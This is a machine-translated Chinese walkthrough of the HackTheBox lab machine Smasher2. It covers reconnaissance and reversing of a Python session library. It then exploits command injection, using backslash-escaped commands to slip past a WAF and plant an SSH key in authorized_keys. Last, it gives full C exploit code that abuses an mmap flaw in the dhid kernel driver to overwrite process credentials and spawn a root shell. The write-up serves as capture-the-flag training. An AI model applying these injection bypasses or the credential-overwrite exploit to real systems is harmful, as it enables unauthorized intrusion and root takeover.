哈克盒子-Smasher2演练 通过pwn驱动程序进行Flask,WAF和LPE

图片

在本文中,我将开始发布从HackTheBox网站发送的用于进一步处理的解决方案。 我希望这将至少帮助某人在信息安全领域发展。 在本文中,我们将反转python库,绕过WAF并利用mmap漏洞。

通过VPN连接到实验室。 建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您最终将与与信息安全领域有了解的人建立私有网络:)

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我还将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

智商


端口扫描


这台机器的IP地址为10.10.10.135,我将其添加到/ etc / hosts中。
10.10.10.135 smasher2.htb
首先,我们扫描开放端口。 由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。 我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000 

图片

主机有3个开放的端口。 现在使用nmap扫描它以获得更多详细信息。

 nmap -A 10.10.10.135 -p22,53,80 

图片

因此,我们有SSH,DNS和WEB,它们返回403代码(禁止访问被拒绝)。

域名解析


让我们检查DNS。 为此,请使用带有-l选项的主机客户端,以使用AXFR请求查看域中所有主机的列表。

 host -l smasher2.htb 10.10.10.135 

图片

因此,您需要在/ etc / hosts中添加一个新条目。
10.10.10.135 wonderfulsessionmanager.smasher2.htb

网页


现在,让我们继续前进,看看访问smasher2.htb时WEB会给我们带来什么。

图片

是空的 在这种情况下,您应该整理目录。 我正在使用golang编写的快速gobuster。 我们将整理128个线程中的目录,我们将对html,php,txt,conf扩展名和响应代码200、204、301、302、307、401感兴趣。

 gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401 

图片

查找备份目录。 我们看看里面有什么。

图片

因此,请下载python文件和库。 接下来,转到另一个域名,然后在其中找到授权表。

图片

Mozilla Firefox Wappalyzer插件报告正在使用的技术。 因此,该网站是用python 2.7.15编写的。

图片

WEB API


巨蟒


我们刚刚找到了auth.py文件,让我们对其进行分析。 在导入的第一行中,我们转到ses.so模块,我们也在备份中找到了该模块。

图片

我们在代码中找到身份验证。 如果验证成功,我们将返回secret_token_info。

图片

图片

让我们转到“ / api // job”。 数据通过POST方法接收,但它们必须为JSON格式。 如果数据中存在schedule参数,它将作为命令行中的命令传递给执行。

图片

登录名和密码已被编辑...它们被转移到我们的库中,该库创建一个会话-SessionManager对象。

图片

由于before_request,每次新调用都会调用safe_init_manager(id)函数。 因此,新的会话被初始化。

图片

login()函数创建一个与会话相关的管理器对象。

图片

然后通过check_login()方法执行检查。

图片

反向.so


因此,我们需要找出如何检查数据。 为此,在库中我们需要了解SessionManager.check_login()设备。 投入IDA Pro,寻找所需的功能。

图片

打开功能,我提请注意它的图形。 在融合之前,我对许多较低的块感兴趣。

图片

浏览这些块,您可以看到函数执行的这个或那个分支在谈论什么。 因此,我们只需要最右边的块。

图片

我已经画出了我们感兴趣的功能的行为界限。

图片

现在,让我们过去看看会发生什么。 在一个地方,我注意到一个相同的登录名和密码代码。 而且比较也一样。

图片

此外,登录名和密码调用相同的功能。

图片

这表明用户名和密码相同。 但是由于此值是python程序中的值,并且已经过编辑,因此它仅用于排序。 我尝试使用标准名称,令我惊讶的是,管理员出现了(为什么我不立即尝试...)。

图片

入口点


我们有一把钥匙。 现在,您需要收集执行代码的请求。 如前所述,我们必须以JSON格式将包含schedule参数的POST方法数据发送到wonderfulsessionmanager.smasher2.htb / auth / fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8 / job 。 我们使用curl进行此操作,并将结果传递给jq。 我们将执行whoami命令。

 curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq 

图片

但是,当尝试执行“ ls”命令时,会出现错误。

图片

最有可能在团队中有一个筛选器。 让我们成功发送“ l \\ s”-表示存在过滤器。

图片

用户名


现在我们需要在系统中获得一个普通的外壳。 系统运行SSH,因此我们可以生成密钥并将其推送到授权主机列表中。

首先,我们生成一个密钥。

图片

现在,我们需要将公钥传输到文件/home/dzonerzy/.ssh/authorized_keys。 但是为了使其易于传输,我们将在base64中使用其编码。

 base64 -w0 id_rsa.pub 

我们首先将其传输到一个临时文件。

 ec\\ho \”=\” > /tmp/ralf 

现在按预期进行解码和写入。
 ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys 

我们记下了密钥,现在一切正常,我们可以使用私钥通过SSH连接。 我们尝试。 我们在系统中。

图片

LPE-根


上市


用户令牌旁边是README文件。 阅读。

图片

有人告诉我们,我们不应该以标准的方式思考...但是,在完成标准的枚举并且一无所获之后,我提请用户注意所在的组。

图片

adm组有权访问有趣的文件。

图片

例如,auth.log。 它不仅反映了成功和不成功授权的事实,还反映了使用sudo命令的事实。

 strings /var/log/auth.log | grep sudo 

图片

一个有趣的命令代表根执行。 但是它与驱动程序连接,因此您需要确保我们遵循该路径。

图片

是的,不幸的是,一切都归司机。

司机


由于这是一个驱动程序(内核模块),因此我们将使用modinfo获得有关它的信息。

图片

据说需要驱动程序才能使用dhid设备。 看看吧。

图片

是的 有这样的设备。 为了研究驱动程序,我将其复制并下载到IDA Pro中。

 scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 

很少的功能列表,对于PWN,我们对与内存配合使用的功能感兴趣。 从名称来看,它们是dev_read和dev_mmap。

图片

进一步谷歌搜索,我没有特别发现有关驱动程序中与阅读有关的漏洞的信息,而mmap不能说这! 所以我去找她。

图片

通常,驱动程序中的mmap是将设备映射到内存并按需选择页面所必需的,因为最初设备根本不使用物理内存。

在此代码中,唯一有趣的地方是对remap_pfn_range函数的调用,该函数允许将设备内存线性映射到用户的地址空间。
int remap_pfn_range(struct vm_area_struct * vma,unsigned long virt_add,unsigned long pfn,unsigned long size,pgprot_t prot);复制代码

显示物理地址的大小字节,从pfn为虚拟地址virt_add指定的页码开始。 与虚拟空间关联的安全位在prot中指定。

与往常一样,我们查看以前未处理过的参数。 这些是pfn和size参数,它使我们可以显示任何数量的内存以供读写。

利用


谷歌搜索可以做什么,我被一种可能的利用方式震惊。 如果可以在内存中找到creds控件结构,则可以将用户uid更改为0。然后调用shell,这将为我们提供具有完全特权的shell。

图片

首先,检查我们是否可以显示大量内存。 以下代码将打开设备并显示从0x40404040地址开始的0xf0000000字节,以进行读取和写入,并可能将此反射与其他反映同一对象的进程一起使用。

代号
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); int stop = getchar(); return 0; } 


编译: gcc sh.c -o sh.bin并转移到主机。 让我们运行它。

图片

现在,让我们转到另一个ssh终端,查看此过程的存储卡。

图片

如您所见,地址相同,并贴有用于读写和共享的标签。 那是一个可行的想法。 下一步是在心中找到过程的信誉结构。 从上面的结构可以看出,标志将是我们的uid连续伤害的8个数字。

代号
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter); } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


因此,我们发现了19个相似的结构。

图片

现在我们需要将所有uid重写为0。重写特定结构的uid之后,我们将检查uid。 只要我们的uid等于0,我们就可以假定我们已经找到了所需过程的结构。

代号
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


图片

现在,找到所需的结构后,将uid更改为0xffffffff并通过exec函数调用bash shell。

代号
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur += 1; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; execl("/bin/sh","-", (char *)NULL); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


图片

我们扎根了。 实际上,这是一台非常复杂的机器,需要复杂的软件才能处理此版本的LPE。

当然,要在驱动程序中利用此漏洞非常困难,我感谢社区为我提供了有关如何获取驱动程序的提示,并分享了有关mmap中类似漏洞利用的文章。

我是否应该继续发布发送给进一步处理的机器的分析? 您可以通过Telegram加入我们。 让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

Source: https://habr.com/ru/post/zh-CN480454/


All Articles